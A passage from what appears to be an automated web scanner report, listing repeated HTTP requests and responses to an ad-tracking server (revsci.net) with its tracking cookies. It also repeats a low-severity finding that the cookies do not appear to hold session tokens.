NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl6CzycM1VkQna+w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:07 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e649b&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:07 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:07 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/737191144.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9uCTaGM1VkQLa+w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:23 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b3&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:23 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:22 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/769036262.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9iDTSKI0VkTwa+w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:25 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b5&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:25 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:25 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/814275397.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9uDSSaM0VkQaa9E=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:22 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b2&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:22 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:21 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/844309645.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl2ESSWI1VkRja8M=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:10 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e649e&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:10 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:09 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
